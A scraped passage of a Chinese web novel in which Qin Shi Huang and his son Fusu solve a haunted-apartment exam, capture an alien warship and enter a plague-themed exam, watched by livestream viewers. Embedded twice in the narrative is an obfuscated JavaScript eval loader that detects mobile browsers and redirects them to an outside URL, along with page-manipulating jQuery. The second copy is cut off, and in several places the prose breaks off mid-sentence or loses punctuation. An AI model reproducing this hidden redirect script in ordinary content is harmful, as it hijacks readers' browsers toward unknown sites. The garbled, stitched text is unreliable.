狠狠拉了一波仇恨值后,扶苏这才开始干活。轻轻松松将封在墙里的盒子取了出来,随手把上头的锁掰掉,铁盒就打开了。 盒子里是一捧灰。 扶苏顿时反应过来: “不会是骨灰吧?” 偷偷把骨灰封在墙里,肯定有问题。不像是住在这里的这家人自己弄的,谁会在自己住的房子里搞这种东西,又不是变态。 为了确定,扶苏又去问了高中生: “你们家这堵墙是早就有的,还是后来加的?” 高中生回答: “买房子的时候就有了,我们本来想把它砸了,这样次卧就可以大一些。但是装修公司担心是承重墙,劝我们不要砸,最后就没砸。” 果然。 扶苏又问了一些别的讯息。 诸如经典死亡问题: “你是怎么死的?” 高中生一听,身上的阴气就控制不住地开始往外冒。眼睛也慢慢变红,似乎有暴走的趋势。 弹幕开始尖叫: 「你说你刺激她干什么!!!」 下一秒,扶苏一巴掌把女高中生拍成了女高中生.zip。压缩版高中生瞬间冷静了下来,缓缓解压恢复回了之前的身高。 她畏惧地往后缩了缩: “你好凶。” 弹幕沉默一瞬,刷屏内容换成了: 「你说你刺激他干什么?」 同样的内容,不同的意思,充分展现了华夏语的博大精深。 秦政把刚伸出去一半的手收了回来背在身后耐心地等待儿子问话。 网友们眼尖地捕捉到了这一幕: 「陛下刚才是不是想保护儿子?可惜太子动作太快没有给我们陛下发挥实力的机会。」 扶苏也察觉到了。 他暗暗决定下次遇到类似的情况就惊慌地往阿父身边跑充分满足阿父想保护他的欲望。 害他一个柔弱的小太子自理能力没必要那么强。 扶苏到底还是强行补救了一波。 他往父亲身后挪了挪: “阿父她刚刚有点吓人。” 虽然知道扶苏在装模作样但秦政还是很受用 “不怕阿父保护你。” 弹幕:「……呵。」 这鬼屋就是你们play的一环吧? 女高中生瑟缩地垂下脑袋回忆起刚刚扶苏问了什么。疯狂压抑住自己险些再次失控的阴气老实巴交地开始回答问题。 她轻声说道: “那天爸爸妈妈回到家又开始吵架。爸爸失控把妈妈推倒了妈妈的脑袋撞到桌角没了呼吸。然后妈妈拿西瓜刀捅穿了爸爸的心脏爸爸一怒之下掐死了我。” 全程没开口一直在屋子里瞎转悠专心寻找线索的战士这下终于忍不住了。 他怀疑自己听错了: “你妈妈没了呼吸后捅死了你爸爸?你爸爸心脏都被捅穿了还能掐死你?” 扶苏意外地看向战士: “你能听见她说话?” 战士回答: “我喝了提升感知的魔法药剂。” 总是看不见队伍里的亡魂很不方便何况看样子这栋房子里也有很多幽灵。 战士思来想去还是决定从魔法包裹里挑选出朋友送给他的这瓶药剂想试试看是否有用。结果还真有感知提升后就能成功见鬼了。 扶苏解答了前一个问题: “应该是妈妈的鬼魂复仇杀了爸爸爸爸的鬼魂可能打不过妈妈所以复仇时只能迁怒到女儿头上所以杀了女儿。” 战士明白了: “是幽灵杀的啊那我懂了。” 战士忽然从包裹里取出一把刀: “我说 这把刀上怎么有血呢,原来是当初案发时的凶器。 扶苏沉默一瞬。 如果这里是游戏世界,战士遇到那把刀的时候,应该就会发现厨房里只有这把刀是可以交互的道具,拾取后游戏会提示你获得了关键凶器。 但扶苏在意的是: “你把这刀塞到包裹里干什么? 队友偷偷在包里藏一把刀,换个队伍就要怀疑他是不是想背后偷袭队友了。 战士耿直的说: “考场规则不是说收集情报可以提升考试评分吗?我看这把刀有点奇怪,想着拿走的话能不能给我加点分。 获得重要道具,说不定真能加分。 扶苏点了点头: “学到了,我一会儿也去试试。 秦政便把那盒骨灰递给儿子: “重要道具。 扶苏眨了眨眼: “可是阿父,我没报名参赛,你才是考生。 秦政眼里闪过一丝恍然: “朕忘了。 说完自己把东西收了起来。 以前都是他陪儿子胡闹,所以习惯性帮儿子刷分。这次换成扶苏陪他玩了,一时还有些调整不过来。 战士感慨道: “你们父子俩感情真好。 扶苏觉得他很上道: “谢谢,你也很有眼光。 战士跟着道谢: “哦,是吗?谢谢你的夸奖! 道完谢才开始琢磨,他做什么了,为什么扶苏要夸他有眼光。 秦政走了两步,找到染血的桌角: “磕到的应该就是这里。 说完开始思考是应该把整个桌子收起来,还是应该把染血的那一角切下来,再收进储物袋。 这应该也算凶器吧? 最后,秦政选择整个收起来。 弹幕: 「这样的凶器也收吗?我个人认为属实没有必要。」 毕竟只见过灵异游戏的主角拾取染血的菜刀、染血的摆件、染血的手帕,没见过连染血的餐桌都要收起来的,主要是太大了根本带不走。 这套公寓已经没有什么可探索的了。 扶苏示意高中生把小鬼拎过来: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080685|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你 呢?你又是怎么死的?” 小鬼很快也上演了一次受到刺激准备发狂的戏码。 扶苏熟练地往父亲身后一躲柔弱地揪着阿父的袖子浑身上下写满了依赖。 秦政抬手把小鬼也拍成了zip。 战士挠挠头实话实说: “兄弟你这样真的很像出去嚣张挑衅了大狗打不过就跑回来躲到主人身后的小猫咪。” 扶苏充耳不闻: “阿父这么收拾他好像没用。” 小鬼解压后看起来恢复冷静了但扶苏再次询问同样的问题它就又会触发连招根本冷静不下来。 看来是年龄太小没办法和高中生一样克制住自己的本性。 秦政接连三次把它拍扁后不得不承认这招确实没用。最后只能问到孩子的住址直奔对门。 小孩住在对门。 直播间里的网友有些失望: 「居然没问出来吗?我还以为这招屡试不爽。」 「问不出来才比较公平其他直播间的考生都是靠自己推理出故事的 「???楼上什么成分?」 「拜托这是要命的考试你讲什么公平呢?而且靠武力值获取答案怎么就不公平了?只许动脑子不许动手是吧?」 「我说不公平有什么不对的吗?这场考试就不应该把战斗力太强的考生放到灵异考场根本没有观赏性真不知道主脑怎么进行的匹配。」 「……」 网友们突然反应过来这个开口提出公平论的似乎不是蓝星人。 蓝星人只会恨不得有人厉害到场场考试都碾压根本没心思去管什么公平与否。公平的前提是得自愿参加考核像这种被迫参加的考试强调这些不过是局外人在展现自己的傲慢罢了。 在那些星际观众眼里这或许只是一场娱乐。会因此死多少人考核失败的文明有什么下场他们都不在乎。 蓝星网友被恶心到了: 「走了我回华夏官网看直播了。」 「+1本来觉得官网直播看起来不太方便才留在这边看的没想到直播间里还有脏东西混进来。」 原本不少国民为了方便看直播才选择留下芯 片,这会儿倒是纷纷觉得晦气了。 有人直接在弹幕吐槽早知道就把芯片拿掉了,并没有意识到自己在有星盟人出没的弹幕区里说这些,会暴露蓝星能自行取出芯片这个紧要消息。 有脑子的网友已经气疯了: 「你们有病吧?在直播间里说这个?生怕星盟不知道是不是?」 弹幕里瞬间吵了起来,一时倒没人去关注秦政父子在干什么了。 父子俩站在防盗门前。 这又是一个打不开的防盗门。 之前先一步进来的那队人不见踪影,估计就是一路过来挨个尝试,发现门打不开就果断换下一个,于是就走远了。 这会儿也不知道进了哪套公寓,没听见动静。很多鬼怪都拥有领域,屏蔽声音大概是基础技能。 秦政好整以暇地回头看儿子: “你来开门? 方才太子一拳砸穿门板的模样还历历在目,当爹的忍不住调侃了一句。 扶苏努力维持着他的柔弱人设: “我打不开,还是阿父来吧。 战士误以为扶苏是耗光了魔力,所以才没办法继续发威。又想到刚刚秦政接连拍了小鬼三回,可能也消耗很大。 于是他主动站出来: “我来吧! 父子俩:…… 有你什么事啊? 难得遇到个特别不懂看气氛的,这倒是种新奇的体验。 战士也没等他们两个往旁边让让,直接挤过来拿大剑劈砍了两下,将防盗门砍得破破烂烂。 他回头笑着招呼: “门开了,可以进去了。 门内依然是个三口之家,年轻的小夫妻带着还在上小学的孩子一起住。客厅里挂着一张全家福,正是三人的模样。 这边的公寓都挺小的,不太方便住一大家子人。 战士进去之后直奔厨房: “我去看看刀具。 这是正确选择,绝大多数灵异副本里都能在厨房找到作案凶器。 不过父子俩的目光倒是先被墙上的全家福吸引了。 照片里看起来笑容灿烂的夫妻两个,仔细观察的话,会发现他们实则眼神怨毒,唇角的微笑也很怪异。 这个房间布 置得非常温馨,乍一看没有任何不对劲的地方,于是越发凸显得合照诡异吓人。 战士在厨房里没找到可疑刀具,出来正对上那张照片,被吓了一跳。随着时间的推移,照片里的人表现得越来越明显,远比一开始看到时惊悚得多。 至少战士初进门那会儿扫过合照时,就没发现它有这么吓人。 父子俩还站在原地观察那张合照。 战士轻抚着心脏凑过去问道: “这照片里是不是有幽灵? 结果听见了父子二人的对话。 秦政说: “这个应该是重要道具。 扶苏提议道: “那就直接收起来? 秦政摇头: “里面还有鬼魂。 扶苏觉得无所谓: “一起收了,这样不就人证物证俱全了? 弹幕好不容易吵完架,就听见这句。 「你管这叫人证物证俱全?」 「鬼证物证俱全(纠正)」 「好好好,我赞成绑架当事鬼成为本案证人!」 「所以储物袋居然能装活物吗?」 「楼上你的重点……」 「鬼不能算活物吧,所以只能装死物的储物袋可以装鬼,这很合理(对不起我重点也有点歪)」 「我们非得在这个直播间里说骚话吗?」 「也对,那我们去官方直播间。」 直播间人数很快骤降,有些潜水在里头的外国网友也跟着开软件翻墙跑了。 数量众多的华夏网友离开后,藏在直播间里伪装蓝星人的星盟人就显得很突出了。 傲慢的画风很快劝退了陆续误入的蓝星观众,星盟直播间越发不受待见起来。 不过星盟观众并不在意。 因为在他们的星网上,还有很多同好在一起看直播。低等文明的观众如何,他们并不在意。 此刻考场中,因为扶苏说要连鬼一起打包带走,两个藏在照片中的鬼顿时待不住了。它们纷纷从照片里钻了出来,要给不速之客一个教训尝尝。 秦政一掌将他们拍了回去。 扶苏心有余悸: “好险,差点就让他们出来了。阿父快些把合照收起来,免得人 第 207 章 别无选择 有的时候,单独一艘战舰飘在太空里,也挺无助的。 就比如现在。 星盟认为,收拾一个不安分的低等文明,根本不需要太过认真。所以只派了一艘最低级的星际战舰,和一小队士兵。 小队长刚开始还志得意满。 他也并不觉得区区低等文明有什么抵抗星盟的能力,所以压根没把这次行动放在心上。下达了命令之后就没管了,让队里的星舰驾驶员顺便去和蓝星的话事人交涉。 这次过来,他们是打算用武力值威慑一下蓝星人的。需要的时候,可以往无人区丢个弹药,或者随便打落一个卫星,来个杀鸡儆猴。 主要诉求是叫蓝星乖乖把能发现并帮人取出芯片的科研人员交出来,任他们星盟处置,并且保证以后都不做这种“违反星盟公约”的事情。 结果战舰才开到太阳系,他们懵逼地发现接近不了蓝星了。 无形的能量将蓝星团团围住,一丝空隙都没给他们留。别说这个寻常战舰了,就是最高级的战舰来了也不一定能冲破这团能量的防护。 星盟士兵们险些以为自己去的不是低等文明,而是超级文明。 小队长一开始以为自己找错了地方。 他花了半个小时的时间确认,反复核对,确定了自己没找错位置。 然后他又花了一个小时的时间寻找解决办法,这点小事如果都处理不好,长官一定会斥责他的。 所以不到万不得已,他不会主动联络星盟那边。他怀疑蓝星根本没有这么厉害的防护手段,这只是他们弄的障眼法而已。 可惜还没等他找到解决方法。 星盟士兵们突然感觉战舰被什么东西拖动了,狠狠朝着一个方向俯冲了一段。 小队长气急败坏: “里约!你在干什么?!” 里约是负责驾驶的人。 战舰的陡然加速俯冲弄得大家东倒西歪,小队长认定是驾驶员不小心触碰到了什么按钮,才导致了这个乌龙。 然而里约也很惊慌: “我、我什么都没做啊!我都把燃料舱熄火了,就算不小心按到前进的按钮,战舰也不可能行动的!” 小队长不信,扶着座椅站起来,走过去看了一眼。还真是,战舰现在 是熄火静待的状态,有点类似于汽车熄火拔了钥匙。 队长的脸色难看起来: “如果不是你,那战舰为什么会突然挪动? 战舰的警报也没有提醒敌袭啊! 扶苏轻轻敲了敲驾驶舱的“玻璃: “是我挪的。 可惜太空里声音无法传导,何况战舰也有隔音设施,里面的人根本听不见。 不过玻璃窗跟前突然出现一个人,还是吓了众人一跳。尤其是对方居然可以毫无防护地待在太空中,这已经超出了正常生物的范畴了。 驾驶员吓得一个哆嗦: “他、他是什么太空生物?! 这些年星盟见过能在太空中随意活动的,除了幽灵和虫族之外,也就是一些实力非常强悍的太空异种了。 太空异种一般长得丑陋怪异,视觉冲击力很强。但有经验的星际战士其实都知道,越是长得丑的异种实力越低。 因为它们需要通过外貌吓跑敌人,这是一种虚张声势。反而是相貌美丽的,会非常难缠,它们喜欢用无害的外表来吸引猎物靠近自己。 由于扶苏现在套上了躯体,不再是魂魄的半透明状态。驾驶员并没有认出他是亡魂,反而误以为他是一种已经能够彻底伪装成无害人类的超强异种。 小队长也是面色惨白。 他飞快地打开手腕上的光脑,开始向联盟总部汇报这里的情况。 小队长语速飞快: “报告总部,蓝星出现类人形太空异种,能力未知。蓝星已被其能量场捕获,无法突破封锁,另…… 他不敢说慢了,太空异种凶残至极,轻轻松松就能把他们这艘战舰碾成齑粉。他怕稍微慢一秒,就会说不完话直接被击杀。 他自己阵亡不要紧,能不能趁着最后的机会多通报一些有用信息更重要。这样星盟军方会给他的家人派发更丰厚的补偿金,他也不算白死了。 但他到底还是没能说完所有的话。 “另 扶苏唔了一声,给阿父传音: “阿父,我好像闯祸了。 秦政看着坐在星舰前盖上的儿子: “怎么了? 扶苏示意父亲去看玻 璃窗里头东倒西歪的士兵们。 “我刚刚想用神识控制他们把舱门打开,结果用力过猛,好像把他们的识海给冲坏了。” 识海就是精神海。 结成金丹的修士可以把脆弱的神识藏进金丹中,结成元婴后则拥有了凝实的精神体,神魂不再一碰就碎。 面前这几个是低阶战士,只有天生的精神力评级,大概在C级左右。这个等级的战士精神力也就筑基初期到中期的水准,没比凡人好多少。 对于扶苏这种渡劫期的神魂来说,实在是太脆弱了。碰它就像碰个肥皂泡似的,轻轻接触一小下,就没了。 幸好精神海崩溃不是魂飞魄散,只是魂魄受损而已。相信去了地府应该可以修复的,不过星际文明可能投胎不是去地府。 扶苏陷入沉思。 所以他们去的是哪里?欧美那边的冥界吗?还是说星际人不信转世之说,所以不参与投胎? 秦政神识扫过战舰。 里头确实不剩一个活人了。 不过也无所谓,这批人是入侵蓝星的侵略者,过来本也不是准备干好事的。杀就杀了,无需在意。 扶苏问父亲: “阿父知道哪个按钮是开门键吗?” 秦政自然不知道。 他思索片刻,提出了一个很可行的解决办法——挨个尝试过去。 扶苏十分赞同: “那我们从红色那个按钮试起。” 神识可以直接隔空摁下按钮,倒是很方便。等他们找到开门键后,就可以让华夏国的科研人员进去研究了。 白来的战舰,弄坏了多可惜。正好华夏国缺这种高级装备,就送给他们好了。 按钮一按下去。 战舰内的系统播报: 【自毁程序启动,其他程序暂停运行,即将开始倒计时。若放弃自毁,请在十秒内再次按下自毁按钮。十、九、八……】 扶苏:…… 秦政:…… 果断按下按钮,中止了自毁。 扶苏心虚地感慨: “还好终止要按的是同一个按钮。” 不然十秒钟可能不够他和阿父找到正确按钮的。 大约也是这个战舰等级太低了,星盟并不在乎它会不 会被敌人抢走。要是那种高精尖战舰,肯定没那么容易暂停自毁,至少也得是舰上的专业人士才晓得怎么暂停。 小队长的光脑通讯并未挂断。 这会儿光脑里不断传来呼唤他的声音,询问发生了什么事,是不是遇到危险了。 自毁倒计时一出来,那头意识到了问题的严重性。为了防止对方根据信号反追踪到自己这边来,入侵他们的星网,上级果断切断通讯。 所以他并未听见后续解除警报的: 【自毁程序已终止。】 上级认定是外遣小队遇到了非常危险的太空异种,为了给异种造成一些伤害,才选择启动自毁程序。 自毁会令战舰爆炸,哪怕低级战舰自爆的杀伤力有限,也好歹是它威力最强的手段了。虽然,主要靠的是引爆燃料舱。 有了自毁程序这个乌龙后,父子俩一时也不敢随便乱摁了。 两人站在战舰外面面相觑。 半晌,扶苏问道: “怎么办,难道就这么放着? 秦政沉思片刻,最后表示: “实在不行,就去星盟多抢一些回来。左右是低等级战舰,这个级别的战舰星盟应该很多,丢几十艘不会发现。 这是已经默认自己会把战舰玩坏,于是数着上头的按钮数量,准备好了抢回对应数量的战舰,好把按钮全按一遍。 扶苏很欣赏这样的解决方案: “那我再试试! 于是又去按了旁边彩色的按钮。 其实按钮旁边都有文字的,奈何星盟文字扶苏看不懂。地府光屏暂时还没能翻译出来,约莫是接触到的文字体量太小,难以总结规律。 扶苏自信地按完彩色按钮,然而稍等了片刻。战舰没再闹出什么大动静,它只是开始播放音乐了而已。 扶苏恍然: “这个是娱乐电台? 星盟设置战舰的时候还挺朴实无华的,很多按钮都是按一下开,再按一下关,很符合大家的使用习惯。 靠着这个规律,扶苏又试出了诸如空调、灯控等功能性按钮。直到又一次摁到了应急按钮,系统开始提示即将弹出逃生舱。 这次按同样的按钮不好使了,无法取消弹出。 扶苏:…… 扶苏看向父亲: “阿父怎么办?” 又一次自己闯了祸搞不定就喊爹。 秦政习以为常地替儿子善后: “没事等逃生舱弹出来之后 扶苏:可以很合理。 不过扶苏还想找出解决方案来不然以后误触了这个按钮难道就只能眼睁睁等着它弹出逃生舱吗? 扶苏的神识扫过所有按钮。 最后他灵机一动按下了最初的红色自毁按钮。 系统果然一卡通知全舰: 【自毁程序启动其他程序暂停运行即将……】 扶苏舒服了又按了一遍终止。 这次逃生舱被叫停并且没有重新开始准备弹出。可见那条“其他程序暂停运行”确实是字面意思很好用。 等下要是不小心按到什么难以补救的按钮就靠自毁按钮强行关机了。 但扶苏还是要吐槽: “如果遇到危险他们想在弹出逃生舱的时候顺便开启自毁模式这不就把逃生舱卡住了吗?” 秦政提醒他: “或许倒计时十秒不够逃生舱脱离后远遁自毁会波及到它们。所以需要逃生舱离体后再进行自毁于是设计成这样。” 扶苏:“那岂不是总要有个人留下和战舰一起爆炸?” 秦政:“可以找找有没有遥控。” 遥控应该会在长官模样的人手里或者驾驶员手里。父子俩检查了一下他们身上携带的东西还真找出来了一个。 上头有两个按钮一个是逃生舱弹出的一个是自毁的。 看来逃生舱弹出的倒计时也很短不够他们在主舰按下按钮后再跑去进入舱内只能先进去再按。 扶苏终于靠着关机大法找到了开门键进去逛了一圈之后发现低级战舰也没什么好玩的。 下回抢个顶级战舰回来或许上头会有一些有趣的设施。 秦政把战舰整个收入储物戒里。 储物袋不够大塞不进去。好在他储物戒也炼制得很多就是为了应付这种情况。 父子俩很快回到了住所。 助理已经结束了和高层汇报情况但高层们 受到了惊吓这会儿已经齐聚在府内等候父子二人多时了。 秦政也没等他们询问先声夺人: “附近有什么大型空地吗?” 高层愣了一下: “要多大?” 秦政:“越大越好。” 高层思考了一下问他故宫前头那个最有名的大广场够不够用。 高层心里大概有了猜测。 他们原本以为父子俩是像助理说的那样要去把战舰给碾成粉。可现在听两人的意思好像把战舰整个带回来了。 其实这种事情最好保密自己藏起来秘密研究。但是现阶段他们太需要给国民一点自信心了抢走星盟的战舰就是很好的宣传手段。 不过得先把广场清空一下然后确保战舰不会携带什么星际病毒。到底是从外星来的东西他们也担心存在危险。 很多对星盟那边来说寻常的细菌到了没接触过它们的蓝星这里或许就是非常恐怖的传染病原体。 秦政随口说道: “病菌?这倒不必担心。” 他给战舰丢几个清洁术什么微生物就都被消灭了。 而且星盟大约也没准备用生物手段迫害蓝星无论是战舰还是之前送来的机械文字、高科技芯片都是经过彻底消毒的。 既然没有病菌的困扰那事情就简单起来了。 上层很快下达紧急通知疏散广场上的人群。围出了一个警戒线还特意调了军队和公安过来阵仗搞得特别大。 虽然说是疏散人群其实也没有特别强硬地把民众都赶走。只是让他们站到广场边缘去别的就不管了。 不少民众都好奇地掏出手机录制视频。 突然弄这么大的动作肯定是有什么要紧事情发生。没说需要保密就是可以录视频传上网的意思。 电子信息时代大家都习惯分享身边的新鲜事了。 男生边切换拍摄模式边和朋友说: “也不知道这是要干什么最近除了修真之外 他朋友在网上搜了搜: “官方号没放出什么消息可能真不是什么大事吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080686|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 正说着,前方已经准备好了。 男生发现周围人群里居然有不少主播正开着直播,估计是先前准备期时听到风声,特意赶过来的。 在万众期待下,眼熟的老祖宗一眨眼出现在了空荡荡的广场中。传说中的瞬移,看得众人下意识瞪大了眼睛。 “好帅!我也想学! “哇,今天运气真好,居然能见到陛下真人! 某位可能是追星族的女孩叹气: “可惜了,这位是不能要签名的。 旁边的人噗嗤一乐: “那可不兴签啊,皇帝可不能随便给人签名的。 忽然,嘈杂的交谈声一静。 男生收回放在人群中的注意力,好奇地看向广场。本以为大家安静下来,是因为素质高,发现那边开始拍摄了,就主动保持安静。 结果—— 男生一个激灵,一句“卧槽脱口而出,打破了这一片的寂静。 围观群众很快反应过来,也跟着发出了各种惊讶的感叹声。喧嚣比之前更甚,周围人爆发出了极大的热情,疯狂讨论那是什么。 却见原本空荡荡的广场已经多出了一架庞然大物,看模样非常像是传说中的星际战舰。 这个时候已经没人去在意老祖宗凭空拿出东西来了,陛下有随身空间属于常识。他们只想知道这是不是星舰,东西又是哪里来的,是不是老祖宗出手从星盟抢的。 视频发到网上,很快热搜就爆了。 官方账号下面被众多网友发消息追问,要求官方早点出来解释一下。 见造势造得差不多了,官方直播间才终于开启。主持人拿着话筒介绍这个战舰的来历,还邀请了几位专家来进行讲解。 然而大部分人的关注重点都放在镜头角落的两人身上。 扶苏站在星舰旁边,悄悄指了指: “阿父你看,这是不是我之前拽星舰的时候留下的指印? 天晓得他就是嫌弃星舰停得太远,懒得飞过去了。所以随便伸手把它拖到了跟前,结果用力太大给星舰外壳捏出了印子。 幸好星舰体型庞大,当时为了拖它,神识凝聚出的手掌也非常大。所以庞大的指印留在上面,看起来并不容易让人联想到指印上头去。 扶苏在思考: “我要不要给它把凹进去的地方重新再弄凸起来?” 现在凹下去几块看着有点变扭。 秦政建议他最好不要: “多做多错。” 现在什么都不干 何况秦政很怀疑扶苏能不能亡羊补牢成功万一捏完又变得更加奇形怪状那就没法收场了。 扶苏只好遗憾放弃: “算了。” 直播间弹幕好奇得不行: 「把镜头转过去我要看陛下和太子。刚刚太子指着的那块地方有什么我看不到的话今晚睡不着觉!」 恰好主持人要走过去采访一下父子二人镜头追随着她一路过去。扶苏指着的位置清晰暴露在镜头中但并没有什么奇怪的地方。 毕竟神识凝成的手只有个大概形状并不会留下指纹和掌纹否则一看就会暴露。 「这里有什么奇怪的吗?」 「凹下去了一条算是奇怪吗?」 「这有什么奇怪的只是星舰的造型而已。」 「所以星舰做得这么花里胡哨是能提升飞行速度吗?」 大家议论纷纷。 考虑到什么矿泉水瓶、运动鞋、小汽车等等都会在外形上安排莫名其妙的凸起和凹陷也不知道是为了实用还是美观大家对此都接受良好。 扶苏完全不知道网友们脑补了什么。 主持人也没拿直播间的这个话题来询问扶苏不然肯定会收获一个沉默的太子殿下。 主持人只是问了下获取星舰的过程。 扶苏省略了他过于粗暴的操作: “找到星舰干掉星盟士兵把星舰拖回来就这样。” 主持人:…… 主持人试图引导他多说一点: “请问您二位是怎么发现星舰靠近了蓝星的呢?” 扶苏言简意赅: “神识。” 主持人努力找补: “好的原来您的神识可以探知到星球外的太空真是太了不起了。那么请问您是如何击败星盟士兵的?星舰中的士兵们应该会进行反抗并不会坐以待毙。” 扶苏继续言简意赅: “神识。” 主持人坚强地继续找补: “这样啊,神识修炼到这个程度居然能够直接攻击敌人。想必国民以后会对修炼产生更大的兴趣,谁不想体验一番使用神识代替自己直接动手的感觉呢?” 扶苏怀疑主持人已经语无伦次,分不清楚自己在说什么了。 但主持人依然把话题拉了回来: “最后一个问题,您二位是怎么将星舰拖回来的?是通过储物法宝吗?” 扶苏这次多说了几个字: “用神识拖到面前,再装进储物戒。” 主持人松了口气,还好不是又直接丢下两个字“神识”就不说了。 主持人微笑着转向秦政: “陛下可以接受一下采访吗?” 秦政:“不可以。” 主持人的微笑保持不变: “好的,那就不打扰您了。” 呜,果然始皇帝陛下不是那么好采访的。 助理先生说得没错,陛下他别看在直播里那么温柔,其实都是对太子一个人的,其他人只能见到他的高冷。 扶苏有些不高兴: “你刚刚采访我之前怎么没问这句?” 主持人不敢说因为太子温柔,所以她胆子大了一些,敢直接问问题。 有的时候采访就是要用一点小心机。 比如你问“我可以采访你吗”,对方很可能回答不行。但你直接问“请问您能告诉我们XXXX是怎么回事吗”,就能一定程度上激起对方的分享欲。 主持人诚恳地道了歉: “对不起,下一次我一定先问您这个问题。” 扶苏满意了: “嗯,那就行。” 随后扭头状似不经意地和阿父说想吃烤鸭了,秦政直接迈步离开,丢下一句“朕陪你去吃”。 扶苏临走前瞥了一眼摄像头。 直播间弹幕: 「是我的错觉吗?他是不是故意当着我们的面问的那句?」 「不是你的错觉,他就是故意的。」 「虽然知道太子是在炫耀他想吃烤鸭,陛下就会陪他去吃,但我更嫉妒的是他能吃到烤鸭。」 「烤鸭怎么了 第 208 章 秦盟 神庭太子出门浪了一圈,回来就发现父亲似乎在为什么事情烦恼。好奇地问了一句,才知道秦梓桑又搞了什么事情出来。 太子眼眸一转: “几百个也不是很多,把我讨厌的那堆神庭旧臣丢出去,让他们戴罪立功去。” 神帝略一思索便点头: “也好,省得天天上朝和你吵架。” 神帝假装自己丢出去的不是烫手山芋,只回了秦政一句已经挑选了合适的臣子送去,匹配的问题他也会帮忙解决。 至于那群臣子过去之后会不会给秦政惹麻烦,神帝表示与他无关。 太子倒是觉得: “等他们见到陛下,决计不敢闹事。就算要惹麻烦,也是针对那个什么星盟。” 简单点说,就是欺软怕硬。 因为要多拉点人帮忙的关系,第三轮的报名扶苏干脆也参加了。 这样他一来和父亲都会参加考核。 秦政先带扶苏去参加六天,回来休息四天之后,扶苏带秦政去参加六天。回来再休息剩下的十天,就是秦政的下一轮考核了。 不过大部分时候都不会参加满六天的,考核说是一个月期限,实际上经常能提前结束。何况像之前的灵异副本,里头连食水都没有,还真指望能待满一个月? 但无论考生是提前出来还是准时出来,反正下一次考核都是准时出来的二十天后。早点出来就多休息两天,仅此而已。 不能借此缩短考试的间隔,扶苏还有些遗憾,那就只能慢慢来了。 扶苏卡着第三轮的最后一天报名。 所以次日,第三轮考核就直接开启了,这次轮到他以肉身进入。 秦政原本想神念跟随儿子一起来的,想到还有召唤面板,就没有这么做。 扶苏一脚踏进天灾考场。 他没着急观察四周,先打开召唤列表,选中秦始皇帝,确认了一下是他阿父,不是其他位面的始皇帝,这才点击召唤。 华夏网友们纷纷涌入直播间: 「太子殿下开直播啦!」 刚进来,就见到太子原地召唤始皇。 网友纷纷破防: 「带爹考试,作弊,举报了。」 陛下您没有别的事情要干吗?为什 么太子一叫就来啊! 扶苏划拉了一下考场介绍: “生物天灾,疫病吗?” 因为扶苏随身携带护体灵力,倒是没感觉有什么东西试图侵入他体内。 他特意把护体灵力撤掉了一点,仔细感受一番,终于感受到了空气中漂浮的细小生物。不是细菌细胞那种,而是一种很小的、肉眼几乎不可见的虫豸,寄居人体就会引发各种感染。 它和丧尸病毒是不同的,它的主要作用是致死。 考生需要在当前环境下成功存活一个月,哪怕最后一天病得要死了也没事,只要没死就能通关。 星盟会给考生准备医疗舱的。 扶苏重新把护体灵力弄好,然后将一团裹挟着虫豸的水球丢掉。这是刚刚从体内排出的异物,只是接触了几秒钟,已经钻进体内几十条小虫子了。 扶苏看向周围的NPC们。 随后,他眼神一凝: “阿父,这些NPC好像并非都是仿生机器人。” 星盟也太缺德了。 分明有本事治疗这颗星球上的传染病,但就是放任不管。到如今,这里已经进入了无政府状态,秩序混乱,幸存者各自为政。 星盟还把星球整个框起来作为考场,所以虽然它是一整颗星球,却同样处在“次空间”。 扶苏立刻下定决心,他要把这整个星球都收归己有。 他怀疑,这里曾经是考核失败的文明。 那些失败的文明,星盟当然不能直接取来为所欲为。但等星球自己出现问题、官方势力崩溃后,因地制宜做成考场,似乎也不违反哪条星盟法律,不是吗? 说话间,一位原住民捂着嘴,压抑着咳嗽,从扶苏身边路过。 扶苏发现,她浑身都裹着布料,并不露出一丝一毫的肌肤。之所以能看出是位女性,是因为她走路的姿态和男性存在着些许不同。 擅长观察的,可以从这些细枝末节分辨男女。虽然不能保证完全准确,但结合被她扎起来的长发等特征,应该八九不离十。 女子疑惑地扭头看了扶苏一眼。 似乎是在不解,疫病都传播一年多了,怎么这人还敢大大咧咧不做防护就走出来,不怕感染吗? 像她们这样努力防护的,都 没能幸免于难,难道旁边这人不想活了? 约莫是想到了什么。 女子陡然加快了脚步,匆匆远离扶苏和他身边的秦政。 扶苏眨了眨眼: “阿父,他是不是把我当成感染的重症患者了? 自暴自弃的重症患者才会放任自己肆意暴露在空气里,好好地感受一下自由呼吸的感觉。 反正也要死了。 不过这种人有些会心理扭曲,故意去祸害其他还健康的人。女子应该是担心自己成为那个倒霉蛋,这才不敢停留。 秦政打量了一下四周: “有不少人躲在暗处观察你。 一般来说,考场会合理化考生们的出现。但通过的方式,是让周围的仿生机器人NPC无视考生的突然传送。 可这里的NPC,有一些是原住民。 原住民当然不会发现不了大变活人,更不可能假装没看见。哪怕当前星球以前曾经被文明考核选中过,其实众人心里都清楚是怎么回事,也不妨碍他们暗中监视考生们。 正因为自己经历过,才更知道考生们是什么德性。 他们在考场里很可能做出不可控的行为,对本来就千疮百孔的考场造成更糟糕的影响。 虽然绝大多数考生没那个本事。 